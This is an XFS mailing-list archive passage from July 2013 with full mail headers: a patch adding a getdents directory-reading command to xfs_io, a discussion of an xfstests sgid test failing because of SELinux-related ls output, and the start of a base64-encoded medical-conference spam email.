tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 215187F3F for ; Thu, 11 Jul 2013 13:19:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 000B28F8037 for ; Thu, 11 Jul 2013 11:19:14 -0700 (PDT) X-ASG-Debug-ID: 1373566753-04cbb0468ee035e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FvQYVpbkmrXefHsl for ; Thu, 11 Jul 2013 11:19:14 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BIJDFi012628 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 11 Jul 2013 14:19:13 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6BIJDPV023198 for ; Thu, 11 Jul 2013 14:19:13 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id BC359123452; Thu, 11 Jul 2013 14:23:54 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH] xfsprogs/io: add getdents command Date: Thu, 11 Jul 2013 14:23:54 -0400 X-ASG-Orig-Subj: [PATCH] xfsprogs/io: add getdents command Message-Id: <1373567034-7534-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373566754 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 getdents reads the directory entries from an open directory from the provided offset (or 0 if not specified). On completion, getdents prints summary information regarding the number of operations and bytes transferred. Options are available to specify the starting offset, buffer size and verbose mode to dump directory entry information from the buffer. Signed-off-by: Brian Foster --- Hi all, This is something I hacked together for testing something for gluster. Thoughts appreciated! Brian io/Makefile | 4 ++ io/getdents.c | 175 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ io/init.c | 1 + io/io.h | 1 + 4 files changed, 181 insertions(+) create mode 100644 io/getdents.c diff --git a/io/Makefile b/io/Makefile index 50edf91..cfd1b11 100644 --- a/io/Makefile +++ b/io/Makefile @@ -80,6 +80,10 @@ ifeq ($(HAVE_PREADV),yes) LCFLAGS += -DHAVE_PREADV -DHAVE_PWRITEV endif +ifeq ($(PKG_PLATFORM),linux) +CFILES += getdents.c +endif + default: depend $(LTCOMMAND) include $(BUILDRULES) diff --git a/io/getdents.c b/io/getdents.c new file mode 100644 index 0000000..2b167f2 --- /dev/null +++ b/io/getdents.c @@ -0,0 +1,175 @@ +/* + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include +#include +#include "init.h" +#include "io.h" + +#include + +static struct cmdinfo getdents_cmd; + +static char *gd_buf; +static size_t gd_bufsz; + +struct linux_dirent { + unsigned long d_ino; /* Inode number */ + unsigned long d_off; /* Offset to next linux_dirent */ + unsigned short d_reclen; /* Length of this linux_dirent */ + char d_name[]; /* Filename (null-terminated) */ +}; + +static void +dump_dir_buffer( + struct linux_dirent *dirp, + long long offset, + long long length) +{ + while (length > 0) { + printf("%08llx: 0x%lx (%s)\n", + offset, dirp->d_ino, dirp->d_name); + + offset = dirp->d_off; + length -= dirp->d_reclen; + + dirp = (struct linux_dirent *) ((char *) dirp + dirp->d_reclen); + } +} + +static int +do_getdents(char *buf, unsigned int len) +{ + return syscall(SYS_getdents, file->fd, buf, len); +} + +static int +read_directory( + long long offset, + long long length, + int dump, + long long *total) +{ + int bytes; + int count = 0; + + offset = lseek(file->fd, offset, SEEK_SET); + if (offset < 0) + perror("lseek"); + + *total = 0; + while (1) { + bytes = do_getdents(gd_buf, gd_bufsz); + if (!bytes) + break; + if (bytes < 0) + perror("getdents"); + + if (dump) + dump_dir_buffer((struct linux_dirent *) gd_buf, offset, bytes); + + *total += bytes; + count++; + + /* + * Keep filling the buffer until we've read at least as much + * data as requested. + */ + if (length > 0 && *total >= length) + break; + } + + return count; +} + +static int +getdents_f( + int argc, + char **argv) +{ + int cnt; + long long total; + int c; + size_t fsblocksize, fssectsize; + struct timeval t1, t2; + char s1[64], s2[64], ts[64]; + long long offset = -1; + long long length = -1; + int verbose = 0; + + init_cvtnum(&fsblocksize, &fssectsize); + gd_bufsz = fsblocksize; + + while ((c = getopt(argc, argv, "b:l:o:v")) != EOF) { + switch (c) { + case 'b': + gd_bufsz = cvtnum(fsblocksize, fssectsize, optarg); + break; + case 'l': + length = cvtnum(fsblocksize, fssectsize, optarg); + break; + case 'o': + offset = cvtnum(fsblocksize, fssectsize, optarg); + break; + case 'v': + verbose = 1; + break; + default: + return command_usage(&getdents_cmd); + } + } + + gd_buf = malloc(gd_bufsz); + if (!gd_buf) + return -1; + + if (offset == -1) + offset = lseek(file->fd, 0, SEEK_CUR); + + gettimeofday(&t1, NULL); + cnt = read_directory(offset, length, verbose, &total); + gettimeofday(&t2, NULL); + + t2 = tsub(t2, t1); + timestr(&t2, ts, sizeof(ts), 0); + + cvtstr(total, s1, sizeof(s1)); + cvtstr(tdiv(total, t2), s2, sizeof(s2)); + + printf(_("read %lld bytes from offset %lld\n"), total, offset); + printf(_("%s, %d ops, %s (%s/sec and %.4f ops/sec)\n"), + s1, cnt, ts, s2, tdiv(cnt, t2)); + + free(gd_buf); + + return 0; +} + +void +getdents_init(void) +{ + getdents_cmd.name = "getdents"; + getdents_cmd.cfunc = getdents_f; + getdents_cmd.argmax = 6; + getdents_cmd.flags = CMD_NOMAP_OK|CMD_FOREIGN_OK; + getdents_cmd.args = _("[-v][-b buffer size][-o offset][-l length]"); + getdents_cmd.oneline = _("read directory entries"); + + add_command(&getdents_cmd); +} diff --git a/io/init.c b/io/init.c index ca3055a..44cce44 100644 --- a/io/init.c +++ b/io/init.c @@ -60,6 +60,7 @@ init_commands(void) file_init(); freeze_init(); fsync_init(); + getdents_init(); getrusage_init(); help_init(); imap_init(); diff --git a/io/io.h b/io/io.h index 91f0e3e..5658b13 100644 --- a/io/io.h +++ b/io/io.h @@ -94,6 +94,7 @@ extern void bmap_init(void); extern void file_init(void); extern void freeze_init(void); extern void fsync_init(void); +extern void getdents_init(void); extern void getrusage_init(void); extern void help_init(void); extern void imap_init(void); -- 1.8.1.4 From cmaiolino@redhat.com Thu Jul 11 13:28:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C0A817F3F for ; Thu, 11 Jul 2013 13:28:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A543B30407B for ; Thu, 11 Jul 2013 11:28:40 -0700 (PDT) X-ASG-Debug-ID: 1373567316-04cb6c2a47b5a560001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CnCksP4P9J7Hh1fy for ; Thu, 11 Jul 2013 11:28:36 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BISaim024535 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 11 Jul 2013 14:28:36 -0400 Received: from andromeda.usersys.redhat.com (ovpn-113-48.phx2.redhat.com [10.3.113.48]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6BISVEr032078 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Thu, 11 Jul 2013 14:28:34 -0400 Date: Thu, 11 Jul 2013 15:28:30 -0300 From: Carlos Maiolino To: Ben Myers Cc: Eric Sandeen , Eric Sandeen , xfs-oss Subject: Re: [PATCH V2] xfstests: generic/313, test sgid inheritance on subdirs Message-ID: <20130711182829.GC10711@andromeda.usersys.redhat.com> X-ASG-Orig-Subj: Re: [PATCH V2] xfstests: generic/313, test sgid inheritance on subdirs References: <51A68175.9020202@redhat.com> <51A7B03E.2080909@sandeen.net> <20130612192320.GA12955@andromeda.usersys.redhat.com> <20130708215151.GK20932@sgi.com> <20130711175315.GB10711@andromeda.usersys.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130711175315.GB10711@andromeda.usersys.redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373567316 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 > > > > generic/313 - output mismatch (see /root/xfstests/results/generic/313.out.bad) > > --- tests/generic/313.out 2013-07-08 16:27:41.787710646 -0500 > > +++ /root/xfstests/results/generic/313.out.bad 2013-07-08 16:47:46.052683735 -0500 > > @@ -1,3 +1,3 @@ > > QA output created by 313 > > -drwxr-sr-x. TEST_DIR/313-dir/subdir > > +drwxr-sr-x TEST_DIR/313-dir/subdir > > drwxrwsr-x+ TEST_DIR/313-dir/subdir2 > > ... > > (Run 'diff -u tests/generic/313.out /root/xfstests/results/generic/313.out.bad' to see the entire diff) > > > > Looks like there could be a problem with ls? Have you seen that? > > > > Thanks, > > Ben > > > Actually I don't think this is a problem, but the way newer `ls` versions are > displaying the object permissions (the 'dot' at the end of the permissions, > indicating there are no extra attributes). > > I'm going to take a look on what's going on, but I still believe it's just a > matter of add the 'dot' to the xfstests correct output. > > I had this same problem when testing my patch and needed to fix it locally, but > missed to warn you guys, my apologies > Just a matter of information: >From coreutils: commit b3677e5e383103bf1764b2c8a9329b1c17934b24 Author: Jim Meyering Date: Wed Apr 2 22:26:45 2008 +0200 ls: use '.' (not +) as SELinux-only alt. access flag in ls -l output So, this test is selinux dependent, it will provide different outputs whether the system has selinux enabled or not. Since the test itself creates their own directories, checking if the selinux is enabled or not and checking the proper output depending on selinux activity should avoid false positives on this test. I.e. if the selinux is enabled, the `ls -l` output will print the 'dot' at the end of the permissions, otherwise, nothing will be printed and Eric's test will pass without problem. I think this is something worth to mention on xfstests README or some other documentation, mainly because any kind of test like this, but done with the TEST_DEV might be even worst since we don't recreate the filesystem while using TEST_DEV, so, objects there can be created with selinux attrs or not (if created when selinux is disabled) and have the attributes added later. I'm probably being too paranoid here talking about the TEST_DEV, but, I thought it was worth to mention. Cheers. -- Carlos From sandeen@sandeen.net Thu Jul 11 13:34:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 02D2A7F3F for ; Thu, 11 Jul 2013 13:34:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 774ADAC002 for ; Thu, 11 Jul 2013 11:34:39 -0700 (PDT) X-ASG-Debug-ID: 1373567677-04cbb04690e05060001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id menFYIV8kU4rpNl3 for ; Thu, 11 Jul 2013 11:34:38 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 4791765265E8; Thu, 11 Jul 2013 13:34:37 -0500 (CDT) Message-ID: <51DEFABC.8020104@sandeen.net> Date: Thu, 11 Jul 2013 13:34:36 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Carlos Maiolino CC: Ben Myers , Eric Sandeen , xfs-oss Subject: Re: [PATCH V2] xfstests: generic/313, test sgid inheritance on subdirs References: <51A68175.9020202@redhat.com> <51A7B03E.2080909@sandeen.net> <20130612192320.GA12955@andromeda.usersys.redhat.com> <20130708215151.GK20932@sgi.com> <20130711175315.GB10711@andromeda.usersys.redhat.com> <20130711182829.GC10711@andromeda.usersys.redhat.com> X-ASG-Orig-Subj: Re: [PATCH V2] xfstests: generic/313, test sgid inheritance on subdirs In-Reply-To: <20130711182829.GC10711@andromeda.usersys.redhat.com> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1373567678 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136475 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On 7/11/13 1:28 PM, Carlos Maiolino wrote: >>> >>> generic/313 - output mismatch (see /root/xfstests/results/generic/313.out.bad) >>> --- tests/generic/313.out 2013-07-08 16:27:41.787710646 -0500 >>> +++ /root/xfstests/results/generic/313.out.bad 2013-07-08 16:47:46.052683735 -0500 >>> @@ -1,3 +1,3 @@ >>> QA output created by 313 >>> -drwxr-sr-x. TEST_DIR/313-dir/subdir >>> +drwxr-sr-x TEST_DIR/313-dir/subdir >>> drwxrwsr-x+ TEST_DIR/313-dir/subdir2 >>> ... >>> (Run 'diff -u tests/generic/313.out /root/xfstests/results/generic/313.out.bad' to see the entire diff) >>> >>> Looks like there could be a problem with ls? Have you seen that? >>> >>> Thanks, >>> Ben >>> >> Actually I don't think this is a problem, but the way newer `ls` versions are >> displaying the object permissions (the 'dot' at the end of the permissions, >> indicating there are no extra attributes). >> >> I'm going to take a look on what's going on, but I still believe it's just a >> matter of add the 'dot' to the xfstests correct output. >> >> I had this same problem when testing my patch and needed to fix it locally, but >> missed to warn you guys, my apologies >> > Just a matter of information: > > From coreutils: > > commit b3677e5e383103bf1764b2c8a9329b1c17934b24 > Author: Jim Meyering > Date: Wed Apr 2 22:26:45 2008 +0200 > > ls: use '.' (not +) as SELinux-only alt. access flag in ls -l output > > > > So, this test is selinux dependent, it will provide different outputs whether > the system has selinux enabled or not. > > Since the test itself creates their own directories, checking if the selinux is > enabled or not and checking the proper output depending on selinux activity > should avoid false positives on this test. I.e. if the selinux is enabled, the > `ls -l` output will print the 'dot' at the end of the permissions, otherwise, > nothing will be printed and Eric's test will pass without problem. Hm, I thought we always mounted with a global selinux context, and therefore wouldn't get these differences (i.e. no on-disk selinux attrs should be created) > I think this is something worth to mention on xfstests README or some other > documentation, mainly because any kind of test like this, but done with the > TEST_DEV might be even worst since we don't recreate the filesystem while using > TEST_DEV, so, objects there can be created with selinux attrs or not (if created > when selinux is disabled) and have the attributes added later. It'd be better to just add a filter if we need it. But I'd like to know why we need it, I thought the global context made these problems go away... Guess I'll go look... -Eric > I'm probably being too paranoid here talking about the TEST_DEV, but, I thought > it was worth to mention. > > Cheers. > From sandeen@sandeen.net Thu Jul 11 13:53:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0354F7F3F for ; Thu, 11 Jul 2013 13:53:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D32F8304051 for ; Thu, 11 Jul 2013 11:53:39 -0700 (PDT) X-ASG-Debug-ID: 1373568818-04cb6c2a42b5cf10001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id hOCQv1GXD1OpcDgt for ; Thu, 11 Jul 2013 11:53:38 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 25D626173B7C; Thu, 11 Jul 2013 13:53:37 -0500 (CDT) Message-ID: <51DEFF30.10104@sandeen.net> Date: Thu, 11 Jul 2013 13:53:36 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Carlos Maiolino CC: Eric Sandeen , Ben Myers , xfs-oss Subject: Re: [PATCH V2] xfstests: generic/313, test sgid inheritance on subdirs References: <51A68175.9020202@redhat.com> <51A7B03E.2080909@sandeen.net> <20130612192320.GA12955@andromeda.usersys.redhat.com> <20130708215151.GK20932@sgi.com> <20130711175315.GB10711@andromeda.usersys.redhat.com> <20130711182829.GC10711@andromeda.usersys.redhat.com> <51DEFABC.8020104@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH V2] xfstests: generic/313, test sgid inheritance on subdirs In-Reply-To: <51DEFABC.8020104@sandeen.net> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1373568818 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136477 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On 7/11/13 1:34 PM, Eric Sandeen wrote: > On 7/11/13 1:28 PM, Carlos Maiolino wrote: ... >> Just a matter of information: >> >> From coreutils: >> >> commit b3677e5e383103bf1764b2c8a9329b1c17934b24 >> Author: Jim Meyering >> Date: Wed Apr 2 22:26:45 2008 +0200 >> >> ls: use '.' (not +) as SELinux-only alt. access flag in ls -l output >> >> >> >> So, this test is selinux dependent, it will provide different outputs whether >> the system has selinux enabled or not. >> >> Since the test itself creates their own directories, checking if the selinux is >> enabled or not and checking the proper output depending on selinux activity >> should avoid false positives on this test. I.e. if the selinux is enabled, the >> `ls -l` output will print the 'dot' at the end of the permissions, otherwise, >> nothing will be printed and Eric's test will pass without problem. > > Hm, I thought we always mounted with a global selinux context, and therefore > wouldn't get these differences (i.e. no on-disk selinux attrs should be created) Ok, somehow it really is mounted w/o the context when the test executes. I'm not sure why yet, but fixing that *should* fix the problem, I think. -Eric From cardiometabolicsyndrome2014@marekon.org Thu Jul 11 14:34:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 75FF37F3F for ; Thu, 11 Jul 2013 14:34:30 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6230B8F8033 for ; Thu, 11 Jul 2013 12:34:27 -0700 (PDT) X-ASG-Debug-ID: 1373571260-04cbb0468ee0abc0001-w1Z2WR Received: from backupto.atlas.net.tr (backupto.atlas.net.tr [212.64.200.218]) by cuda.sgi.com with ESMTP id U8kDD77JG3FkevWt (version=SSLv3 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 11 Jul 2013 12:34:21 -0700 (PDT) X-Barracuda-Envelope-From: cardiometabolicsyndrome2014@marekon.org X-Barracuda-Apparent-Source-IP: 212.64.200.218 Received: from ali by backupto.atlas.net.tr (SmartHost Mail Server) with SMTP id WAS04151 for ; Thu, 11 Jul 2013 22:33:51 +0300 Disposition-Notification-To: kardiyometaboliksendrom1@marekon.org Organization: cardiometabolicsyndrome2014 Reply-To: kardiyometaboliksendrom1@marekon.org Message-ID: <3725bc9bbe8a13ccec57f7cf001f7717@marekon.org> From: "cardiometabolicsyndrome2014" To: Subject: Invitation.. International Cardiometabolic Syndrome Eastern Mediterranean Congress.. in North Cyprus on 27 February - 02 March 2014 Date: Thu, 11 Jul 2013 22:31:43 +0300 X-ASG-Orig-Subj: Invitation.. International Cardiometabolic Syndrome Eastern Mediterranean Congress.. in North Cyprus on 27 February - 02 March 2014 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=SPLITOR00A_001_132841876D" X-Barracuda-Connect: backupto.atlas.net.tr[212.64.200.218] X-Barracuda-Start-Time: 1373571261 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136479 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=SPLITOR00A_001_132841876D Content-Type: text/html; charset="windows-1254" Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFs Ly9FTiIgImh0dHA6Ly93d3cudzNjLm9yZy9UUi8xOTk5L1JFQy1odG1sNDAxLTE5OTkxMjI0L2xv b3NlLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+PGhl YWQ+PHRpdGxlPlVsdXNsYXJhcmFz/SBLYXJkaXlvbWV0YWJvbGlrIFNlbmRyb20gRG/wdSBBa2Rl bml6IEtvbmdyZXNpPC90aXRsZT4NCjxtZXRhIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13 aW5kb3dzLTEyNTQiIGh0dHAtZXF1aXY9Q29udGVudC1UeXBlPg0KPHN0eWxlIHR5cGU9dGV4dC9j c3M+DQo8IS0tDQouYXJpYWwgew0KCWZvbnQtZmFtaWx5OiBBcmlhbCwgSGVsdmV0aWNhLCBzYW5z LXNlcmlmOw0KfQ0KLmFyaWFsIHsNCglmb250LWZhbWlseTogQXJpYWwsIEhlbHZldGljYSwgc2Fu cy1zZXJpZjsNCn0NCi5hIHsNCglmb250LWZhbWlseTogQXJpYWwsIEhlbHZldGljYSwgc2Fucy1z ZXJpZjsNCn0NCi0tPg0KPC9zdHlsZT4NCg0KPG1ldGEgbmFtZT1HRU5FUkFUT1IgY29udGVudD0i TVNIVE1MIDguMDAuNjAwMS4yMzUwNyI+PC9oZWFkPg0KPGJvZHk+DQo8dGFibGUgYm9yZGVyPTAg d2lkdGg9Nzc4IGFsaWduPWxlZnQgaGVpZ2h0PTkwNT4NCiAgPHRib2R5Pg0KICA8dHI+DQogICAg PHRkIGhlaWdodD0yNzYgd2lkdGg9NzcyPjxpbWcgDQogICAgICBzcmM9ImNpZDozMjcyYW4kSU45 NDgwMTM3MzU3MTEwMzBAYWxpIiANCiAgICAgIHdpZHRoPTc3MyBoZWlnaHQ9MjkzPjwvdGQ+PC90 cj4NCiAgPHRyPg0KICAgIDx0ZCBoZWlnaHQ9NTY4Pg0KICAgICAgPHA+PGEgDQogICAgICBocmVm PSJodHRwOi8vd3d3LmNhcmRpb21ldGFib2xpY3N5bmRyb21lMjAxNC5vcmciPnd3dy5jYXJkaW9t ZXRhYm9saWNzeW5kcm9tZTIwMTQub3JnPC9hPjwvcD4NCiAgICAgIDxwIGNsYXNzPWFyaWFsPkRl YXIgRGlzdHVuZ3Vpc2hlZCBNZW1iZXJzIG9mIHRoZSBJbmR1c3RyeSw8L3A+DQogICAgICA8cCBj bGFzcz1hcmlhbD5XZSBhcmUgcHJvdWQgYW5kIGhvbm9yZWQgdG8gYW5ub3VuY2UgdGhlIEZpcnN0 IA0KICAgICAgSW50ZXJuYXRpb25hbCBDYXJkaW9tZXRhYm9saWMgU3luZHJvbWUgRWFzdGVybiBN ZWRpdGVycmFuZWFuIENvbmdyZXNzIHdpbGwgDQogICAgICBiZSBoZWxkIGluIE5vcnRoIEN5cHJ1 cyBvbiAyNyBGZWJydWFyeSAtIDIgTWFyY2ggMjAxNC4gPGJyPldlIHdpbGwgdHJ5IHRvIA0KICAg ICAgb2ZmZXIgeW91IHRoZSBiZXN0IGluIGNvbGxhYm9yYXRpb24gd2l0aCBtYW55IG9yZ2FuaXph dGlvbnMgYmVjYXVzZSBvZiANCiAgICAgIGJlaW5nIGEgcXVhbGlmaWVkIG9yZ2FuaXphdGlvbiBz Y2llbnRpZmljYWxseSBhbmQgc29jaWFsbHkgdGhpcyBjb25ncmVzcyANCiAgICAgIGhlbGQgaW4g cGFydG5lcnNoaXAgd2l0aCBFYXN0ZXJuIE1lZGl0ZXJyYW5lYW4gVW5pdmVyc2l0eSwgRGlhYmV0 ZXMgDQogICAgICBGb3VuZGF0aW9uIG9mIFR1cmtleSBhbmQgR2VyaWF0cmljIEZvdW5kYXRpb24g b2YgQ3lwcnVzLiA8L3A+DQogICAgICA8cCBjbGFzcz1hcmlhbD5DYXJkaW9tZXRhYm9saWMgc3lu ZHJvbWUgaGFzIGJlY29tZSBvbmUgb2YgdGhlIG1vc3QgDQogICAgICBpbXBvcnRhbnQgaGVhbHRo IHByb2JsZW1zIGZhY2luZyB0aGUgd29ybGQgdG9kYXkuIFNlZGVudGFyeSBsaWZlc3R5bGUgYW5k IA0KICAgICAgaGlnaC1jYWxvcmllIGRpZXQgY2F1c2VkIGJ5IHRoZSBtb2Rlcm4gbGlmZSBhcmUg dGhlIG1vc3QgaW1wb3J0YW50IGZhY3RvcnMgDQogICAgICBpbiB0aGUgZW1lcmdlbmNlIG9mIHRo aXMgc3luZHJvbWUgYW5kIHRoZXkgYWZmZWN0IGluZGl2aWR1YWxzIG9mIGFsbCBhZ2VzLiANCiAg ICAgIFRoZSByYXBpZCByaXNlIG9mIHRoaXMgc3luZHJvbWUgdW5kZXJseWluZyBvYmVzaXR5LCBw aHlzaWNhbCBpbmFjdGl2aXR5LCANCiAgICAgIHNtb2tpbmcsIHN0cmVzc2Z1bCBsaWZlc3R5bGVz LCBkaWFiZXRlcywgYW5kIGNhcmRpb3Zhc2N1bGFyIGRpc2Vhc2VzIA0KICAgICAgYnJpbmdzIGlu dG8gcXVlc3Rpb24gdGhlIG5lY2Vzc2l0eSBvZiBzZXJpb3VzIHNvY2lhbCBtZWFzdXJlIHBsYW5z LiBGb3IgDQogICAgICB0aGlzIHJlYXNvbiwgYWxsIHJlbGV2YW50IGhlYWx0aCBjYXJlIHByb2Zl 